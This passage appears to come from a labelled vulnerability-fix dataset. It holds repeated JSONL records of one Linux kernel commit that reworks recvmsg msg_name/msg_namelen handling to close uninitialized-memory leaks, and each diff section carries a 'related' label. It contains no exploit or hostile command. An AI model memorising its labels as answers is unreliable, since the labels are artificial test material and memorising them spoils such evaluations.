msg->msg_name;\n+\t\tstruct sockaddr_in6 *sin6 =\n+\t\t\t(struct sockaddr_in6 *)msg->msg_name;\n+\n \t\tsin6->sin6_family = AF_INET6;\n \t\tsin6->sin6_port = 0;\n \t\tsin6->sin6_addr = ip6->saddr;\n-\n \t\tsin6->sin6_flowinfo = 0;\n \t\tif (np->sndflow)\n \t\t\tsin6->sin6_flowinfo = ip6_flowinfo(ip6);\n \n \t\tsin6->sin6_scope_id = ipv6_iface_scope_id(&sin6->sin6_addr,\n \t\t\t\t\t\t\t IP6CB(skb)->iif);\n+\t\t*addr_len = sizeof(*sin6);\n \n \t\tif (inet6_sk(sk)->rxopt.all)\n \t\t\tpingv6_ops.ip6_datagram_recv_ctl(sk, msg, skb);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/ppp/pppoe.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -979,8 +979,6 @@ static int pppoe_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (error < 0)\n \t\tgoto end;\n \n-\tm->msg_namelen = 0;\n-\n \tif (skb) {\n \t\ttotal_len = min_t(size_t, total_len, skb->len);\n \t\terror = skb_copy_datagram_iovec(skb, 0, m->msg_iov, total_len);", "sections": [{"section": "@@ -979,8 +979,6 @@ static int pppoe_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (error < 0)\n \t\tgoto end;\n \n-\tm->msg_namelen = 0;\n-\n \tif (skb) {\n \t\ttotal_len = min_t(size_t, total_len, skb->len);\n \t\terror = skb_copy_datagram_iovec(skb, 0, m->msg_iov, total_len);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/compat.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -93,7 +93,8 @@ int verify_compat_iovec(struct msghdr *kern_msg, struct iovec *kern_iov,\n \t\t\tif (err < 0)\n \t\t\t\treturn err;\n \t\t}\n-\t\tkern_msg->msg_name = kern_address;\n+\t\tif (kern_msg->msg_name)\n+\t\t\tkern_msg->msg_name = kern_address;\n \t} else\n \t\tkern_msg->msg_name = NULL;\n ", "sections": [{"section": "@@ -93,7 +93,8 @@ int verify_compat_iovec(struct msghdr *kern_msg, struct iovec *kern_iov,\n \t\t\tif (err < 0)\n \t\t\t\treturn err;\n \t\t}\n-\t\tkern_msg->msg_name = kern_address;\n+\t\tif (kern_msg->msg_name)\n+\t\t\tkern_msg->msg_name = kern_address;\n \t} else\n \t\tkern_msg->msg_name = NULL;\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/nfc/llcp_sock.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -807,8 +807,6 @@ static int llcp_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tpr_debug(\"%p %zu\\n\", sk, len);\n \n-\tmsg->msg_namelen = 0;\n-\n \tlock_sock(sk);\n \n \tif (sk->sk_state == LLCP_CLOSED &&", "sections": [{"section": "@@ -807,8 +807,6 @@ static int llcp_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tpr_debug(\"%p %zu\\n\", sk, len);\n \n-\tmsg->msg_namelen = 0;\n-\n \tlock_sock(sk);\n \n \tif (sk->sk_state == LLCP_CLOSED &&", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/vmw_vsock/vmci_transport.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -1746,8 +1746,6 @@ static int vmci_transport_dgram_dequeue(struct kiocb *kiocb,\n \tif (flags & MSG_OOB || flags & MSG_ERRQUEUE)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \t/* Retrieve the head sk_buff from the socket's receive queue. */\n \terr = 0;\n \tskb = skb_recv_datagram(&vsk->sk, flags, noblock, &err);", "sections": [{"section": "@@ -1746,8 +1746,6 @@ static int vmci_transport_dgram_dequeue(struct kiocb *kiocb,\n \tif (flags & MSG_OOB || flags & MSG_ERRQUEUE)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \t/* Retrieve the head sk_buff from the socket's receive queue. */\n \terr = 0;\n \tskb = skb_recv_datagram(&vsk->sk, flags, noblock, &err);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/bluetooth/af_bluetooth.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -224,10 +224,9 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tskb = skb_recv_datagram(sk, flags, noblock, &err);\n \tif (!skb) {\n-\t\tif (sk->sk_shutdown & RCV_SHUTDOWN) {\n-\t\t\tmsg->msg_namelen = 0;\n+\t\tif (sk->sk_shutdown & RCV_SHUTDOWN)\n \t\t\treturn 0;\n-\t\t}\n+\n \t\treturn err;\n \t}\n \n@@ -245,8 +244,6 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \t\tif (bt_sk(sk)->skb_msg_name)\n \t\t\tbt_sk(sk)->skb_msg_name(skb, msg->msg_name,\n \t\t\t\t\t\t&msg->msg_namelen);\n-\t\telse\n-\t\t\tmsg->msg_namelen = 0;\n \t}\n \n \tskb_free_datagram(sk, skb);\n@@ -295,8 +292,6 @@ int bt_sock_stream_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (flags & MSG_OOB)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \tBT_DBG(\"sk %p size %zu\", sk, size);\n \n \tlock_sock(sk);", "sections": [{"section": "@@ -224,10 +224,9 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tskb = skb_recv_datagram(sk, flags, noblock, &err);\n \tif (!skb) {\n-\t\tif (sk->sk_shutdown & RCV_SHUTDOWN) {\n-\t\t\tmsg->msg_namelen = 0;\n+\t\tif (sk->sk_shutdown & RCV_SHUTDOWN)\n \t\t\treturn 0;\n-\t\t}\n+\n \t\treturn err;\n \t}\n \n", "related": false}, {"section": "@@ -245,8 +244,6 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \t\tif (bt_sk(sk)->skb_msg_name)\n \t\t\tbt_sk(sk)->skb_msg_name(skb, msg->msg_name,\n \t\t\t\t\t\t&msg->msg_namelen);\n-\t\telse\n-\t\t\tmsg->msg_namelen = 0;\n \t}\n \n \tskb_free_datagram(sk, skb);\n", "related": false}, {"section": "@@ -295,8 +292,6 @@ int bt_sock_stream_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (flags & MSG_OOB)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \tBT_DBG(\"sk %p size %zu\", sk, size);\n \n \tlock_sock(sk);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/key/af_key.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -3616,7 +3616,6 @@ static int pfkey_recvmsg(struct kiocb *kiocb,\n \tif (flags & ~(MSG_PEEK|MSG_DONTWAIT|MSG_TRUNC|MSG_CMSG_COMPAT))\n \t\tgoto out;\n \n-\tmsg->msg_namelen = 0;\n \tskb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &err);\n \tif (skb == NULL)\n \t\tgoto out;", "sections": [{"section": "@@ -3616,7 +3616,6 @@ static int pfkey_recvmsg(struct kiocb *kiocb,\n \tif (flags & ~(MSG_PEEK|MSG_DONTWAIT|MSG_TRUNC|MSG_CMSG_COMPAT))\n \t\tgoto out;\n \n-\tmsg->msg_namelen = 0;\n \tskb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &err);\n \tif (skb == NULL)\n \t\tgoto out;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/rxrpc/ar-recvmsg.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -143,10 +143,13 @@ int rxrpc_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \t\t/* copy the peer address and timestamp */\n \t\tif (!continue_call) {\n-\t\t\tif (msg->msg_name && msg->msg_namelen > 0)\n+\t\t\tif (msg->msg_name) {\n+\t\t\t\tsize_t len =\n+\t\t\t\t\tsizeof(call->conn->trans->peer->srx);\n \t\t\t\tmemcpy(msg->msg_name,\n-\t\t\t\t &call->conn->trans->peer->srx,\n-\t\t\t\t sizeof(call->conn->trans->peer->srx));\n+\t\t\t\t &call->conn->trans->peer->srx, len);\n+\t\t\t\tmsg->msg_namelen = len;\n+\t\t\t}\n \t\t\tsock_recv_ts_and_drops(msg, &rx->sk, skb);\n \t\t}\n ", "sections": [{"section": "@@ -143,10 +143,13 @@ int rxrpc_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \t\t/* copy the peer address and timestamp */\n \t\tif (!continue_call) {\n-\t\t\tif (msg->msg_name && msg->msg_namelen > 0)\n+\t\t\tif (msg->msg_name) {\n+\t\t\t\tsize_t len =\n+\t\t\t\t\tsizeof(call->conn->trans->peer->srx);\n \t\t\t\tmemcpy(msg->msg_name,\n-\t\t\t\t &call->conn->trans->peer->srx,\n-\t\t\t\t sizeof(call->conn->trans->peer->srx));\n+\t\t\t\t &call->conn->trans->peer->srx, len);\n+\t\t\t\tmsg->msg_namelen = len;\n+\t\t\t}\n \t\t\tsock_recv_ts_and_drops(msg, &rx->sk, skb);\n \t\t}\n ", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/ppp/pppoe.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -979,8 +979,6 @@ static int pppoe_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (error < 0)\n \t\tgoto end;\n \n-\tm->msg_namelen = 0;\n-\n \tif (skb) {\n \t\ttotal_len = min_t(size_t, total_len, skb->len);\n \t\terror = skb_copy_datagram_iovec(skb, 0, m->msg_iov, total_len);", "sections": [{"section": "@@ -979,8 +979,6 @@ static int pppoe_recvmsg(struct kiocb *iocb, struct socket *sock,\n \tif (error < 0)\n \t\tgoto end;\n \n-\tm->msg_namelen = 0;\n-\n \tif (skb) {\n \t\ttotal_len = min_t(size_t, total_len, skb->len);\n \t\terror = skb_copy_datagram_iovec(skb, 0, m->msg_iov, total_len);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/compat.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -93,7 +93,8 @@ int verify_compat_iovec(struct msghdr *kern_msg, struct iovec *kern_iov,\n \t\t\tif (err < 0)\n \t\t\t\treturn err;\n \t\t}\n-\t\tkern_msg->msg_name = kern_address;\n+\t\tif (kern_msg->msg_name)\n+\t\t\tkern_msg->msg_name = kern_address;\n \t} else\n \t\tkern_msg->msg_name = NULL;\n ", "sections": [{"section": "@@ -93,7 +93,8 @@ int verify_compat_iovec(struct msghdr *kern_msg, struct iovec *kern_iov,\n \t\t\tif (err < 0)\n \t\t\t\treturn err;\n \t\t}\n-\t\tkern_msg->msg_name = kern_address;\n+\t\tif (kern_msg->msg_name)\n+\t\t\tkern_msg->msg_name = kern_address;\n \t} else\n \t\tkern_msg->msg_name = NULL;\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/nfc/llcp_sock.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -807,8 +807,6 @@ static int llcp_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tpr_debug(\"%p %zu\\n\", sk, len);\n \n-\tmsg->msg_namelen = 0;\n-\n \tlock_sock(sk);\n \n \tif (sk->sk_state == LLCP_CLOSED &&", "sections": [{"section": "@@ -807,8 +807,6 @@ static int llcp_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tpr_debug(\"%p %zu\\n\", sk, len);\n \n-\tmsg->msg_namelen = 0;\n-\n \tlock_sock(sk);\n \n \tif (sk->sk_state == LLCP_CLOSED &&", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/vmw_vsock/vmci_transport.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -1746,8 +1746,6 @@ static int vmci_transport_dgram_dequeue(struct kiocb *kiocb,\n \tif (flags & MSG_OOB || flags & MSG_ERRQUEUE)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \t/* Retrieve the head sk_buff from the socket's receive queue. */\n \terr = 0;\n \tskb = skb_recv_datagram(&vsk->sk, flags, noblock, &err);", "sections": [{"section": "@@ -1746,8 +1746,6 @@ static int vmci_transport_dgram_dequeue(struct kiocb *kiocb,\n \tif (flags & MSG_OOB || flags & MSG_ERRQUEUE)\n \t\treturn -EOPNOTSUPP;\n \n-\tmsg->msg_namelen = 0;\n-\n \t/* Retrieve the head sk_buff from the socket's receive queue. */\n \terr = 0;\n \tskb = skb_recv_datagram(&vsk->sk, flags, noblock, &err);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/bluetooth/af_bluetooth.c", "commit_id": "f3d3342602f8bcbf37d7c46641cb9bca7618eb1c", "commit_message": "net: rework recvmsg handler msg_name and msg_namelen logic\n\nThis patch now always passes msg->msg_namelen as 0. recvmsg handlers must\nset msg_namelen to the proper size <= sizeof(struct sockaddr_storage)\nto return msg_name to the user.\n\nThis prevents numerous uninitialized memory leaks we had in the\nrecvmsg handlers and makes it harder for new code to accidentally leak\nuninitialized memory.\n\nOptimize for the case recvfrom is called with NULL as address. We don't\nneed to copy the address at all, so set it to NULL before invoking the\nrecvmsg handler. We can do so, because all the recvmsg handlers must\ncope with the case a plain read() is called on them. read() also sets\nmsg_name to NULL.\n\nAlso document these changes in include/linux/net.h as suggested by David\nMiller.\n\nChanges since RFC:\n\nSet msg->msg_name = NULL if user specified a NULL in msg_name but had a\nnon-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't\naffect sendto as it would bail out earlier while trying to copy-in the\naddress. It also more naturally reflects the logic by the callers of\nverify_iovec.\n\nWith this change in place I could remove \"\nif (!uaddr || msg_sys->msg_namelen == 0)\n\tmsg->msg_name = NULL\n\".\n\nThis change does not alter the user visible error logic as we ignore\nmsg_namelen as long as msg_name is NULL.\n\nAlso remove two unnecessary curly brackets in ___sys_recvmsg and change\ncomments to netdev style.\n\nCc: David Miller \nSuggested-by: Eric Dumazet \nSigned-off-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -224,10 +224,9 @@ int bt_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tskb = skb_recv_datagram(sk, flags, noblock, &err);\n \tif (!skb) {\n-\t\tif (sk->sk_shutdown & RCV_SHUTDOWN) {\n-\t\t\tmsg->msg_namelen = 0;\n+\t\tif 